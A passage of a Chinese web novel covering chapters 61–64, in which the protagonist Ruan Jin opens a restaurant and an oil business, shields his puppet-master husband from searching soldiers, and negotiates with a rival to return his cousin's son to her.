阮锦转身欲走,却又被阮钗抱住:“我现在什么都没有了,求求你了阿锦,你念在我们还有几分血缘的份上,给我父母和弟弟一条生路吧!我愿意卖你为奴,一辈子当牛做马还清你的恩德。” 阮锦有些无语,他拔了拔腿,拔不出来,啧了一声道:“阮钗,你父母的事,完全可以让李进去活动。我和你一样,在这桃花县无权无势,怎么帮你?” “李进?”阮钗又是一声冷笑:“你难道不知道吗?哦……好,告诉你也无妨,让你当成另一个笑话听听。李进被举荐为赵县文吏,我也才知道,他和赵县一个守寡的哥儿早就勾搭到一起了。如今听说了我父母的事,恨不得能跑多远就跑多远。如今已是给了我一纸休书,若非他藏起了阿令不让我见,我早就离开他李家了!” 阮锦微怔,心想阮钗啊阮钗,当年你想方设法抢来的婚姻,如今可算得偿所愿?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 如今想来,那李进哪里是看上了阮锦,他分明是喜欢哥儿啊! 他打心眼儿里就想娶个哥儿,所以第一时间便要和阮锦在一起,却被阮钗抢了先,肚子里先怀上了李进的孩子。 那李家的确算是这桃花县城里还算说得过去的人家,家有良田百亩,如今也算官差在身。 可他的的确确不是个良人,至少对阮钗来说不是。 阮锦深吸一口气,说道:“你父母的事,我是真的没办法转圜。他们犯的罪,自有大渊律法处理。但你也放心,他们最多不过关上几个月。你弟弟勉强算个从犯,但他既然没有跟着荣家那一大家子去流放,那他十有八九是走不了了。至于会判几年,那得看他跟着荣安良干了些什么。只要他没有杀人放火,大概率也就是一两年的事儿。你与其来求我,不如多去牢里看看他们,让他们过得舒服些。” 阮锦的话,多少让阮钗宽了心,她松了手,放阮锦离开。 阮锦却走了两步又回过头来,对她说道:“阮钗,你从小生活在那样的环境里,受你父母影响也是可以理解的。但女人也不要永远想着靠家人、靠男人,你自己也是个成年人了,如果你想夺回你的孩子,让他过上好日子,不如想想自己未来怎么过。” 阮钗颓然的坐到了泥泞的地上,阮锦则没再理会她,转身回了院子。 一回到院子,就看到预订香油的排起了长队,可不仅仅是刚刚那九名商人,竟然有二十几个之多。 阮锦十分意外,但赠送的香油也没有多余的了,四儿只得自做主张,换成了花生油。 谁料花生油竟然也十分抢手,因为送的是大罐的,一罐香油只有二两,而花生油却足足有一斤之多! 阿二在一旁忙着分装花生油,四儿写得手腕都酸疼了,最后统计了一下,一共预订出了一百斤的香油,三百斤的花生油! 阮锦也没想到,油这种东西竟然一下子成了俏货。 他心想还等什么,直接便吩咐四儿:“快,拿这些订金,在咱们旁边的小巷子里租个院子下来,卖咱们这些俏货。” 四儿不是很明白的问道:“少爷,巷子里人流量少,岂不是会损失很多买卖?” 阮锦轻笑:“这你就不懂了吧?知道什么叫奇货可居吗?酒香不怕巷子深,油香也不怕的。” 四儿明白了,他们的香油往外一摆,整条街都能闻得到香味儿,还怕吸引不来客流量吗? 正在整理空油桶的阿二一听,当即说道:“少爷,后面是个空巷子,都跟这边一样是些老宅,有一年失过火,烧了两个宅子,听说还死了人,现在那边已经没什么人住了。” 阮锦一脸的惊讶,高兴道:“那不是巧了吗?这样的巷子租下来肯定便宜啊!咱们手上有那么多的订金,看看能不能买下来……哎呀,买下来还是有点贵了,我手上也没那么多钱啊!” 这时,门外传来一个声音;“师父要买什么?我有钱啊!这次我带了很多银票过来,师父您需不需要?” 阮锦转头一看,惊喜道:“鱼翅?你不是被你舅舅的人捉走了吗?怎么又跑回来了?” 来人正是尉迟融,尉迟融嘿嘿笑了两声,说道:“别提了,刚走到东郡,我舅舅就派人来信说让我辅助蒙将军捉拿要犯。也不知道是什么要犯,更不知道我能做什么辅助。总之,我现在又被送了回来。哎呀,反正是好事,我不用回京城整天面对我舅舅那张臭脸了。” 阮锦哈哈笑了几声,问道:“什么要犯啊,很重要吗?” 尉迟融摇头:“我也不知道,听说是机密要犯。蒙铎将军已经在挨家挨户的搜了,听说优先搜寻各种山道。先从赵县开始,说不定很快就会搜到咱们这边。” 阮锦哦了一声,也没往心里去,说道:“对了,你刚刚说你带钱了?” 尉迟融道:“带了带了,师父你要多少?” 说着他就转身朝外招了招手,几名随从抬了两箱子银子进来,打开放到了阮锦的面前。 阮锦震惊,阮锦惊叹,阮锦目瞪狗呆。 他指着那两箱银子问道:“这里……有多少?” 尉迟融道:“六千两呀!够不够啊师父?如果不够,我再让人去取。” 阮锦差点被口水呛到,一边轻咳一边道:“够了够了,感谢天使投资人。” A轮融资到手了! 尉迟融没听懂,问道:“师父在说什么?” 阮锦笑:“没什么没什么,阿二,和你哥去买下那边那块地!今天咱们就把那巷子重新翻新一下!再去装个牌坊,就叫……叫奇货巷吧!” 阿二可高兴了,一听到阮锦的吩咐,屁颠屁颠就去了。 阮锦又转头对尉迟融道:“乖徒儿,赚了钱咱师徒俩平分。” 尉迟融道:“那不行,我就出个钱,怎么能和师父平分呢!我不要!” 阮锦皱眉,坚决道:“你不要就把钱拿走!” “别别别,别呀师父!我不拿走!”尉迟融捉急道:“这样吧师父,您就给我两成,反正我只出钱,躺着拿两成,也算是白赚的。” 阮锦想了想,伸出四根手指:“四成,你和咱们这边的租赁户一样,拿四成。” 最后尉迟融伸出三根手指:“三成,不能再多了,师父您就答应吧!” 阮锦拿他没办法,只得点了点头:“行行行行,三成就三成!好了,有钱了,酒楼的开业典礼咱们也可以弄得热闹一点。不行,我现在就去准备!四儿,你去定牌坊,让仙儿叫他的姐妹们准备些节目!鱼翅,让你的手下也贡献两个出来!” 尉迟融不解道:“他们?他们能会什么啊!顶多能耍个花枪。” 阮锦嘻嘻一笑:“到时候你就知道了,一定精彩纷呈。” 说完他躲进了后院九大夫的医馆中,在后堂写写画画两个时辰,出来的时候手上拿着好几张的设计图。 又叫来了三儿,让三儿带几个手巧的女工做出来。 三儿看了那图纸眼前一黑一黑又一黑,看不懂那是个什么东西,隐约像是什么四脚兽类。 但既然少爷让做了,那她连夜也得赶制出来! 于是三儿找了四五个女工加一个篾匠,扎好框架后又往上糊宣纸,又找来画师按照图纸画好,还请了九大夫来点睛。 最后又想方设法找来了铜铃和蓝色的宝石当做舌头和眼睛,三儿才总算是完成了少爷给布置的任务。 阮锦看着三儿最终完成的作品,眼前一亮一亮又一亮,惊喜道:“三儿,这是你做的?” 三儿答:“那不是,是姐妹们和画师的杰作,我只是在一旁指挥着。” 阮锦朝她竖起一个大拇指:“牛B!” 三儿一脸迷茫:“什么?” 阮锦哈哈笑,答道:“就是你很厉害的意思,哎呀,三儿你看,这叫醒狮。我给你舞一下,你看看好不好看。” 说着阮锦套上狮头,一前一后的舞了起来,这是他在学校迎新晚会的时候出的节目。 当时一进校门,由于容貌过于出众,就被大学的学姐们给选中了,当即表示让他出一个节目。 阮锦表示自己关节老化五音不全,勉强能搞个诗歌朗诵。 谁料师姐当即拿了个醒狮的狮头交给他,让他跟着另一名师弟一起跳醒狮舞。 还让他填了一张报名表,他也没问,稀里糊涂就填了,后来才知道原来他们是醒狮社的,被迫跟着画了三个月的醒师图。 好在没有一样知识是白学的,这不,阮锦的这项技能如今就派上了用场。 常规的动作也就那几个,阮锦打算教教鱼翅的手下,让他们跟着锣鼓点儿舞上一会儿,也算是凑个热闹,总不能只让仙儿和她的姐妹们跳舞。 最后,阮锦又和小五义们碰了一下,把蛮锦阁的开业时间定在了三天后。 这三天,也正好准备准备食材,再弄一个冰窖出来,以免食材不新鲜。 刘叔也在这三天里收购了上万斤的菜籽,主要是菜籽过于便宜,家家户户都有,还有不少孩童去野外采集回来,卖给刘管事,赚上十几文钱,还能买些糕点吃。 阮锦便让刘叔再加一个榨油生产线,菜籽油也提上了日程。 对于阮锦来说,如果想赚更多的钱,做高质量的商品,卖给有钱人家反倒是钱多事儿少。 但他并不想这样,做生意,只有与民生挂钩了,老百姓才会买你的账。 菜籽油味道不是很好,而且用这种传统的压榨方式还会有一股奇怪的味道,但它胜在便宜啊! 动辄上百几百文一斤的花生油香油吃起来,自然是没有菜籽油划算的。 古代物资匮乏,能吃上菜籽油,对普通老百姓来说已经是十分难得的事情了。 三天后,蛮锦阁正式开业,阮锦还印了许多彩色纸张的小传单,可以凭小传单换一把蒜香花生,所以开业的当天,蛮锦阁的门前可谓是人山人海。 尉迟融还请来了县令赵丰,上次赵丰立了大功,马上就要上调了,在上调之前给阮锦这么一个面子,也算是给他壮壮声威。 这个大功也算是阮锦送到他手上的,一见到阮锦,赵丰便笑呵呵的朝他拱了拱手道:“阮老板,您这生意真是越做越大了啊!” 阮锦也十分恭敬的把他迎了进来,说道:“赵大人,您能亲自过来,真是让我这小酒楼蓬荜生辉啊!” 与此同时,一行官兵也行色匆忙的来到了桃花县,刚好停留在了阮锦的蛮锦阁前。 第62章 蒙铎将军左右询问道:“这里是做什么的?为什么这么热闹?” 有当地的小吏当即上前应道:“回将军的话,这边好像是一个酒楼开业,准备了许多从前旁人没看过的节目,热闹得很。家家户户都锁了门,来这边凑热闹了。听说连桃花县的县令赵丰也给了面子,亲自来贺老板开张。” 蒙铎对开业没什么兴趣,只道:“那更是好机会,你们仔细的查看,有没有额头上有银纹标志或者遮住额头的男人。” 自从王上从幽国的血尸山归来,他的额头上就多了一枚银纹额记,但一般王上是不会将额头示人,要么戴着玄色抹额,要么以王冠覆之。 手下们低低应了一声,悄悄散入人群里,检查着每一个人的额头。 而此时的阮锦正站在门口致词,欢迎街坊邻居亲朋好友来捧场,还让三儿撒了些花生和用甘蔗熬成的饴糖,饴糖包上了油纸,类似后来的糖果。 小孩子们抢得欢,大人们也看得起劲儿。 第一个节目更是别开生面,这还是阮锦从春晚跳舞机器人上来得灵感,给咱们的四位侍从傀儡腰上扎上了大红绸,头上扎上了白色头巾,还给他们穿了绿色小马甲,粉色小裤衩,跳起了陕北秧歌! 桃花县的老百姓们第一次见这种侍从傀儡,竟然还会扭秧歌,简直太新奇了。 众人围成了一个大圈,在舞台下鼓起了掌。 当然,这一行为也被蒙铎看在了眼里,他有些疑惑的看着那些木傀儡,总觉得它们有些眼熟,可又嗅不到顶级傀儡的味道。 他低声道:“如果出自王上之手,那我应该感受不到它们身上的控灵符才是。这控灵符分明在七级左右,难道是民间的高手?” 想到这里,蒙铎吩咐道:“来人,去问问这里的老板,这些傀儡是谁做的?” 手下应了一声,跑到了阮锦的身边询问了片刻,阮锦抬头看了一眼蒙铎,皱眉觉得有些不对,他想了想才答道:“哦,是我家夫君做的,请问有什么问题吗?” 手下没有回答,而是把话回给了蒙铎,蒙铎下了马,并没有亮明自己的身份,而是朝阮锦拱了拱手道:“在下途经此地,觉得这傀儡甚是精美,不知道是出自何人之手啊?” 阮锦的回答仍是一样,只道:“是我家夫君啊!” 蒙铎问道:“那可否让我见见您的夫君呢?” 阮锦摇了摇头道:“我家夫君认生,躲在后厨不肯出来呢,先生如果想订制傀儡恐怕也要让您失望了。我家夫君……只为我一个人做傀儡,旁人估计没办法让他动手。” 蒙铎还想说什么,阮锦忽然指了指不远处一名高挑的男子道:“咦?我家夫君过来了,这位公子,您还要找他吗?” 几人朝阮锦指的方向看去,一名陌生的英俊男子朝他们这边走了过来,手上还拿了一只刻刀和一柄雕了一半的木雕。 蒙铎的内心摇了摇头,手下也小声道:“将军,没有额印。” 蒙铎点了点头,应道:“那打扰老板了。” 说着他朝手下招了招手,一行人十分迅速的撤离了这个地方。 不远处,英俊的九大夫走到了阮锦的身旁,并搂住了他的腰,笑得仿佛魅魔一般的小声在他耳边说道:“你刚刚突然让四儿去找我,让我假扮你夫君,还真是搞得我措手不及。下回能不能提前和我说一声?” 阮锦也顺势和九大夫贴了贴,在蒙铎的面前表演着夫夫恩爱,贴近他耳边还捶了他的胸口一下,叹息无奈道:“谁让他们突然查阿蛮,听鱼翅说最近他们在查什么要犯,我担心阿蛮会被牵连。他可是高阶的傀儡师,万一被发现了,也是很麻烦的事情啊!” 九大夫轻笑,捏住他的下巴道:“哦,那你就不怕露馅儿了?” 阮锦害羞般的推开他,大声道:“你个死鬼,还不快去招呼客人,别在这儿打情骂俏了!” 说完他又小声道:“你这不是演得挺好的,我是觉得九大夫你挺有天赋的。” 九大夫后退一步,也大声道:“好的,听阿锦的。” 继而又小声道:“打住,我对哥儿哥儿相恋没什么兴趣,还不如我的角先生来得实在些。” 阮锦:……你个大黄哥儿! 军队渐行渐远,好像又去了下一个街区,阿蛮仍然躲在后厨削木头。 阮锦怕他热,还搬了两块冰给他,用上了侍从傀儡,在一旁给他扇风。 前厅的舞狮队也上场上,人声鼎沸,热闹非凡,敲锣打鼓,彻地喧天,来得客人更是络绎不绝,不一会儿便坐满了整个大堂,连包厢都被订满了。 三儿身边跟着两个从别处挖来的大厨,阮锦挖他们的时候就说好了是给三儿打下手的,所以他们也没有倚老卖老,听老板的话才有钱拿。 谁料三儿一露手,行家便知有没有,这一道接一道的稀罕菜品一道道的端上来,让两位老厨子赞不绝口。 当然了,点菜的也不止是点稀罕菜色,有的人就是想吃老口味,那就得两位大厨上手了。 不过点得最多的还是咱们蛮锦阁的特色菜炒菜类,每一桌基本都会点那么一两道特色小炒。 小炒用花生油来炒,清淡中透着油香,绝无仅有的美妙滋味让食客们赞不绝口。 其实阮锦还有很多好吃的特色菜想推出,比如水煮鱼、毛血旺、溜肝尖儿、爆肚和麻辣香锅之类的,可惜没有辣椒,阮锦迫切的想要辣椒。 眼下也只能保守点儿了,但即使是保守的菜品,也足够他在整个桃花县城扬名。 甚至还有隔壁县城的达官贵人慕名前来,就是为了尝尝蛮锦食记新开的酒楼的特色。 三名侍从傀儡楼上楼下的跑,可给阮锦帮了大忙了,否则还真得让众人手忙脚乱。 大堂的前厅还设了一个圆形舞台,仙儿的姐妹们跳着柔美的舞蹈,只是周围放了围栏,只可远观,绝不能骚扰她们。 二楼栏杆上,阮锦看着这满堂的宾客终于松了口气,说道:“还好还好,今天的开业也算成功!” 一旁是手上摇头一把羽扇的尉迟融,他乐呵呵的说道:“师父厉害!看着这客流量我都心动了!可惜啊,这酒楼我没有参股。” 阮锦看向他道:“你放心,咱们的奇货巷也不会差的。” 尉迟融点头:“那我倒是相信的。” 阮锦看了一眼他的羽扇,问道:“你这扇子……学的诸葛先生?” 尉迟融不好意思的笑了笑,哎呀了一声道:“师父,人家都说我是食博士,那不就是食中诸葛吗?拿把羽扇,也不过分吧?” 阮锦嗯了一声,说道:“那倒也是,不过……这扇子不适合你,回头为师送你一把!” 尉迟融的眼睛都亮了,问道:“诶?真的吗师父?真的还是假的?” 阮锦一脸的郑重:“真的,当然是真的!哎呀,我到时候给你和三人一人送一把,谁让你们都是我的徒弟呢。” 尉迟融高兴坏了,说道:“那可真是太好了!谢谢师父!” 阮锦不知道为什么憋了一股子坏笑,却假装严肃的说道:“不客气,咱师徒俩谁跟谁啊!” 说起来尉迟融比阮锦还要大上一岁,张口闭口的叫他师父竟然毫无心理压力。 不过尉迟融这种抽像沙雕的性格,倒是也不失为一种率真。 阮锦道:“唉,徒弟,要不你去厨房帮一帮你师妹吧!她一个人也挺累的,你作为师兄是不是可以替她分担一点?” 提到这个,尉迟融一脸的苦大仇深:“别提了师父,师妹她根本不让我进厨房。” 阮锦当即意识到这里面有故事,他问道:“哦?你把你师妹怎么了?” 尉迟融用扇子遮住脸,呃了一声,什么也没说,只是挥着扇子道:“那个……没什么,哎呀要不我还是去帮木傀儡去端盘子吧!” 说着他一溜烟下了楼,独留下阮锦一脸迷茫。 阮锦一脸无奈,心想算了,我还是去找阿蛮吧! 一下楼,就看到阿蛮正躲在角落里削着木头,这一看就是又要削傀儡,可能是看自己的酒楼生意太火爆,害怕四个侍从傀儡不够用。 阮锦见状当即走过去把他拉了起来,说道:“阿蛮,不用再辛苦为我雕木傀儡了。你看,咱们的酒楼客流量那么大,总不能只靠你雕的傀儡。而且鱼翅投了很多钱给我,想请多少人都能请得。你安心吧阿蛮,我知道你想为我分担,为这个家做些贡献。但是你陪在我身边,就已经是为我们的家做贡献了呀!” 阿蛮抬起头,对阮锦眨了眨眼,仿佛在思索着什么,片刻后嗯嗯两声,说道:“那……那我把它改装一下你的伞,这样你的伞天热可以遮荫,天阴可以挡雨,遇到坏人的时候,还可以作为……武器。” 阮锦哇了一声,拍手道:“我的阿蛮好厉害,那就这么愉快的决定了!” 他知道想让阿蛮闲下来不去雕木头是不可能的,可能是因为他傀儡师的本性,必须要不停的雕刻,这样才能让他有安全感。 最近他闲来读书也曾读过不少关于傀儡师的,说是傀儡师要积攒自己的傀儡,这样才能在遇到高阶傀儡师的时候赢下对决。 他宁愿让阿蛮多雕些有用的傀儡,也不能浪费在这些无用的侍从傀儡身上。 得到阮锦的首肯后,阿蛮便打算和他一起回去取伞,把伞改装一下。 谁料两人还未出门,便又看到另一个熟悉的身影出现在了门前。 第63章 那人背了个包袱,话都没说一句就跪到了阮锦的面前。 阮锦吓得又一步跳开,吩咐侍从傀儡道:“把他给我拉起来!” 这些人跪来跪去的,简直是要折他的寿! 阮渟被两名傀儡架了起来,双膝离地的同时他一惊,哎了一声道:“锦哥哥,我是来向你辞行的。” 阮锦手上拿着一只擀面杖,bang的一声敲在了阮渟的头上:“辞行就辞行,你下什么跪?男儿膝下有黄金,女儿膝下有珍珠,懂不懂啊?” 阮渟站好,被阮锦说得一愣一愣的,他木讷的挠了挠头,哦了一声,说道:“我知道了,锦哥哥。” 阮锦见他不跪了,挑下巴指了指他的包袱,问道:“你这是准备上哪儿?” 阮渟低着头答道:“去……去投军,但是锦哥哥你千万不要告诉我爹娘。我骗他们说我去做工,他们不许我去投军的。他们一直想让我读书,但是锦哥哥你是知道的嘛,我哪里是读书的料子。我一直想去投军的,这次趁着家里出了这档子事儿,就悄悄跑出来去了。” 虽然阮锦对阮渟离家出走这事儿并不赞同,但是逃离眼下的环境,对他的成长的确有益无害。 他想了想,从怀里掏出两锭银子交到了他后上,阮渟后退说不要,却被阮锦硬塞进了怀里,说道:“去投军也是需要打点的,好在你长得壮得像头小牛犊,倒是挺适合去投军。在军营里好好干,到时候说不定就能建功立业了。” 阮渟点了点头,红着脸把钱收了,最后说了一句:“对不起,锦哥哥,我替我爹娘向你道歉。” 说完他转身就要离开,却又被街上的一个身影吸引去了目光。 不远处,热闹的舞狮四人组正逗得路人哈哈直笑,却有一个青绿色身影在追着马车哭喊,和这边的热闹形成了鲜明的对比。 阮渟一看,当即焦急的朝那边跑过去,一边跑一边喊道:“大姐姐,别追了,危险啊!” 阮锦便看到阮渟仿佛一匹快马一般嗖得一声朝那绿色身影跑去,一把将那女子给拉了下来,而马车也趁机跑远了,只留下一阵阵婴儿的哭声。 阮锦也终于认出了那女子,正是阮钗,她这又是出什么事了? 阮锦拉了拉阿蛮,说道:“走,我们去那边看看。” 两人一起来到了阮钗的面前,只见阮钗的脸颊微肿,露出的手背上也满是伤痕,她一边哭一边冲着马车挥手:“令儿!我的令儿!你们把他还给我!” 喊完她跪坐到地上,双手掩面哭了起来。 阮锦叹了口气,心想李进这个人,从上次见面就知道他心思不单纯。 他喜欢的是哥儿,确实来说他喜欢的应该是男人,而阮钗就像二十一世纪的同妻一样。 只是现在这个时代的哥儿是会生孩子的,但本质上男人该有的东西哥儿都有,虽然会比正常男子小一些。 阮锦上前道:“阮钗,你先别哭了,起来说说这是怎么回事儿。” 阮渟将阮钗扶了起来,把他扶进了蛮锦阁的后院,四儿给她端了杯茶水,没好气的说道:“瞅你这点儿出息,出了事就只知道哭,想想办法怎么解决吧!” 虽然四儿话说的难听,却也是有道理的,阮钗开口道:“我爹娘现在在牢里,他们打定了我没人管,休了我不说,还要把我的令儿送去赵县给梁同养。我已经不奢求李进能对我有什么怜悯之心了,只希望他们每天都能让我看看令儿。就连这一点,他们都不答应,还把我的东西扔出来,让我搬出去。” 说着阮钗又哭了起来,又要给阮锦下跪,却眼疾手快的被阮渟给扶住了。 阮钗继续说道:“锦哥儿,我求求你了,我知道我没有资格求你,可我真的走投无路了。如果他们真的要把令儿过继给梁同,那我……不如死了算了!” 四儿又给阮钗端来一碗酥山,冷哼一声道:“你要是真有那死了的胆子,不如把那李进带去一起死!自己死了算什么本事,便宜了那李进和梁同!” 阮锦突然觉得自家四儿倒颇有几分泼辣劲儿,他虽然说话不好听,但说出来的话字字珠玑。 阮锦嗯了一声,说道:“倒也没错,渣男和小三的错,确实没必要惩罚自己。” 他确实很讨厌阮钗,更恨二叔和二婶这一家子,可他们都因为自己的错误行为受到了惩罚。 该坐牢的去坐牢,该流放的去流放。 至于阮钗这件事,哪怕是个普通女子遇到这样的困难,阮锦都不会坐视不理。 阮锦想了想,吩咐阮渟:“你如果不急着出发,就好好安置一下你姐姐。在这镇上找个院子给他住,再去把李家那些嫁妆给她拿回来。” 阮渟连连点头:“好的,好的锦哥哥,我这就去。” 说着阮渟便扶起哭哭啼啼的阮钗,带她去安顿了。 阮锦则转头看了一眼阿蛮,去楼上拿了一个斗笠给他戴上,又给他戴了一个面罩,以免再遇上那些搜查的人。 但给阿蛮戴上斗笠和面罩后阮锦的眼睛却忍不住的亮了亮,心想阿蛮真是单露一双眼睛都好看,甚至有一种让人忍不住探究的俊美。 男人长成他这样,哪怕是靠脸也能无忧无虑过一辈子。 可他偏偏也这样厉害,还是个武艺高强的高品傀儡师。 阮锦忍不住开始发花痴,心想我老公可真优秀,怎么就这么优秀呢? 完了,恋爱癌晚期又要发作了。 好在也只是发作了一小会儿,阮锦牵起阿蛮的手道:“阿蛮,陪我去做一个正义的使者怎么样?” 阿蛮缓缓点了点头,不论阮锦让他做什么,他都会一言不发的跟着。 阮锦笑眼弯弯的吻了吻阿蛮的手,带他一起去马棚牵了马。 这里的马都很灵性,只要阮锦骑上去,都会原地至少转三圈,仿佛是为了验证阮锦转转高级VIP会员似的。 阿蛮见状低低笑了两声,飞身骑到了阮锦的身后,双臂圈住他拉住了缰绳,马儿当即飞驰而去。 赵县就在隔壁县,那个死了好几个老婆的县令还在任上。 说实在的,阮锦非常不喜欢这个县令,不仅仅是因为原主三年后会死在他手上,更是因为这个县令手上极有可能有好几条人命。 不过眼下他没有这个能力,管不了那么多的闲事,也只能先管好自己这一亩三分地。 能出手帮阮钗,已经算是他仁至义尽了。 马儿飞奔了一个时辰才来到赵县的县城,赵县远不如桃花县繁华,看上去土地有些荒凉,百姓们的衣著也不及桃花县光鲜。 可见在这个县令的治下,老百姓的日子并不好过。 两人下了马,找一个领着孙子的路人婆婆问了一下路:“请问婆婆,有一个名叫梁同的哥儿家怎么走?” 那婆婆朝着身后指了指道:“后面数第三个胡同,最里面那家就是。” 阮锦点了点头,又问道:“那……您能不能和我说说,这梁同是个什么样的人呀?” 婆婆乐呵呵笑了笑,显然很愿意和阮锦八卦,毕竟这都是镇子上情报部门的主力人员,她开口道:“嗨,也没什么大不了的。就是前年死了男人,就又勾搭上了一个。听说勾搭上的这个家里还有正头的夫人,唉,怪造孽的。不过这梁同之前的男人是个做生意的,有些钱财,想必新勾搭到的这个也是图他的银子吧!” 阮锦点了点头,表示自己知道了,又从口袋里掏出一把蒜香花生和饴糖递到了孩子的手上,说道:“拿去吃。” 婆婆见状赶紧道谢,想必也是没见过糖的。 阮锦根据婆婆的指点朝巷子里走去,好巧不巧,远远的便看到一个穿着素色衣衫的哥儿朝这边走了过来。 之所以说他是哥儿,是因为阮锦看出他正怀有身孕,小腹微隆至少有五六个月的样子。 一般胎儿显怀至少要五个月,说明至少半年前阮钗怀着孕的时候李进就已经和这梁同勾搭到一起了。 阮锦走近梁同,十分礼貌的朝他说道:“请问是梁小郎君吗?” 不论是大渊还是幽国越国,对已婚哥儿的尊称都是郎君。 梁同长得很是有一种哥儿的秀气,虽然不是阮锦那种漂亮到让人眼前一亮的出类拔萃,却也是哥儿里出挑的。 他看向阮锦,有些意外的问道:“找我?” 阮锦点了点头:“嗯嗯,我想和您聊聊,请问有时间吗?” 梁同的眼神很快便恢复了平静,说道:“哦,那边有个茶馆,楼上的雅间适合谈一些私密的事情。” 阮锦闻言当即看梁同的眼神都不一样了,心想梁同大概猜到他的来意了,就凭阮钗的脑子,十有八九是斗不过他的。 甚至他都没和阮钗见过面,阮钗便已经出局了。 三人一前一后来到了茶馆,二楼雅间里,梁同道:“说吧!找我到底什么事。” 阮锦轻笑,开口道:“梁小郎君是个聪明人,想必也猜到我的来意了。我是阮钗请来说和的,关于你和李进的事。” 梁同嗤笑一声:“这件事,你不该找我,应该去找李进。毕竟我和李进认识的时候,并不知道他家里已经有了娘子。我知道这件事的时候和他吵过一架,当时我说让他滚。是他死皮赖脸赖着不走,而那时候我肚子里也已经有三个月的身孕了。想必来之前你也听说过我,我有八家铺面,良田百亩,哪怕不用他李进,也自能养好我和孩儿。不过,既然他李进想负这个责,我当然也不会拒绝。毕竟,我也不希望我的孩儿被人叫野种。同样身为哥儿,想必哥儿你,应该也能理解我的吧?” 第64章 这一番话,梁同把自己摘得一干二净,但这十有八九也是真的。 李进这个人能在孕期出轨,瞒着对方的事想必也是能做得出来的,可以说是两头骗。 阮锦扣击着桌面,说道:“郎君莫急,我这次过来也不是为阮钗讨说法的。事己至此,李进这个夫君,她必是不能再要了。只是……我听说她的儿子李令,被李进的父母带来给你养了?” 梁同闻言,淡淡嗯了一声:“倒是有这回事,他们说这是他们休妻再娶的决心。带便带来了,我又不是养不起一个继子。” “当然。”阮锦给梁同倒着茶,说道:“只是,一个继子,还真犯不着你为他如此上心。” 听到阮锦这么说,梁同明白了,他冷笑一声道:“原来是为孩子来的,别说我做不了那孩子的主,便是能做得了主,那孩子也是李家的,我又凭什么把他交给阮钗来抚养?” 阮锦心想,果然是聪明人,和聪明人打交道就是好,一句话就能讲明白。 阮锦拿起茶壶,给梁同倒了一杯茶,说道:“郎君且听我说,若是我说完了您还是坚持自己的想法,那我也绝不拦着。这世间的路,通顺还是崎岖,不还是看个人的选择吗?” 梁同皱了皱眉,迟疑道:“你和阮钗,倒是完全不一样。我见过她一次,那时她快生了,挺着大肚子到处炫耀自己肚子里是个儿子。也得亏她真生了儿子,若是生了女儿,岂不是白白费了这一番口舌?” 这倒确实是阮钗能做得出来的事儿。 梁同抿了一口茶,继续说道:“好吧!看在你这么聪明的份上,我倒是愿意听听你能说出些什么来。” 阮锦笑了笑,点头道:“倒也没什么,我只是听说郎君的亡夫为你留下了大笔财帛。你养继子倒是没什么,只是这继子姓李,若是你嫁给了李进,那你这一大笔财帛便有李令的一份。再若是郎君生下的这一胎是哥儿,那李令便成了唯一的继承人。不瞒郎君,我便是家里唯一的哥儿,父亲去世后便被两位叔叔逼着交出家中财产。若非我执意找了赘婿,而我的夫君又是个孔武有力的,怕是也没办法守住我这偌大的家财。毕竟他们人多,我一个人……定是斗不过的。” 说完这些,阮锦便看到梁同的眉心微微皱了皱:“当然了,若是郎君愿意一胎一胎的拼儿子,倒也不是不行。只是,你是知道的,为什么极少有人愿意娶哥儿为正妻。哥儿易孕,但也易产下哥儿,向来都是男子的房中之物。若非你有偌大的家产,想必他李家也未必……哎呀,我这话说得是不是有些过了?我绝对没有挑拨郎君夫夫感情的意思。” 梁同淡淡的哼了一声,说道:“你什么意思,你心里清楚。只是你有句话说得对,这个继子,确实是个隐患。只是我虽然不喜欢他,却也不能害他。我生而为人,最多置之不理,还能把他处理了不成?” 阮锦摆手道:“那倒也不必,只需郎君在李家父母带孩子的时候睡一觉。我说白了吧!我也不是外人,而是孩子的舅舅。身为舅舅,把孩子带去见母亲,也不过分的吧?” 梁同看向阮锦,眼神有些变了,再也不见方才的冷漠,而了端起茶壶也为他倒了一杯茶:“哥儿这么做,就不怕惹上官司?” 阮锦笑了,说道:“你放心,我有人脉,不会有人知道是我带走了孩子。只要你不说,我不说,这孩子就是自己跑到他母亲那里的。” 一旁的人脉阿蛮吃着点心,大眼睛眨了眨,似乎知道自己的任务来了。 梁同起身,临行前对阮锦说了一句:“今夜子时,我不会锁门。” 阮锦清了清嗓子,说道:“不必,郎君还是把门锁上,安全第一,我的人脉比较……咳,厉害!” 梁同轻笑,点了点头,转身便欲走,却又被阮锦叫住:“郎君,真的觉得李进是良配吗?” 梁同皱眉:“不是说不为挑拨我们夫夫感情而来吗?” 阮锦嗨了一声,说道:“俗话说,出轨只有一次和无数次。他能休了阮钗,保不齐哪天也会休了你。也是不知,他爱的究竟是你,还是你那万惯的家财呢?” 梁同若有所思,阮锦又道:“我言尽于此,郎君可自去验证。” 说完,阮锦便拉着阿蛮离开了茶馆。 阮锦贴心的给阿蛮戴上斗笠,又戴上口罩,眼神里满是爱意,倒是让梁同有些羡慕起来。 眼看着两人的身影渐行渐远,他低声喃道:“真的是为了我的钱财吗?” 说着,他淡淡哼了一声,似是已经有了想法。 阮锦却带着阿蛮刚走到胡同口,就遇到了一队搜查的兵丁,阿蛮想带着他躲,却已经来不及了,若此时逃跑,反倒是会惹来怀疑。 他拉住阮锦原地不动,心想阿蛮千万不要和他们查的那些人有关。 顿足间,那队兵丁已经将他们团团围住,为首的小将问道:“大白天的又是斗笠又是面衣,你们两个是什么人?” 阮锦赶紧解释道:“官爷,我家夫君染了风寒,所以才才戴着兜里和面衣的,请勿见怪。” 为首的小将道:“把斗笠摘下来让我看看。” 阮锦心想,只是摘斗笠吗? 他赶紧照做,只摘下了阿蛮的斗笠。 一名小卒子赶紧上前来在阿蛮的额头上看了又看,才回到小将身边回道:“回大人,没有。” 那小将又扫了一眼阿蛮,挥手道:“走!” 一行人又搜往下一个街区,拦下的路人无一不是查看额头。 这时阮锦终于松了口气,心想还好还好,阿蛮不是他们要找的人,他的心情当即轻松愉悦起来,拉住阿蛮的手道:“走,阿蛮,我们去找家客栈投宿!” 阿蛮应了一声,抱起阮锦上得马上,策马朝不远处的客栈走去。 这是阮锦第一次在这个时代投店,还挺新奇的,这家店看着不大,倒是布置的温馨雅致,名叫福匀客栈。 阮锦要了一间上房,店小二带着他们去了二楼的天字一号房。 房间还挺大的,一面临街,一面临山,景色倒是也不错。 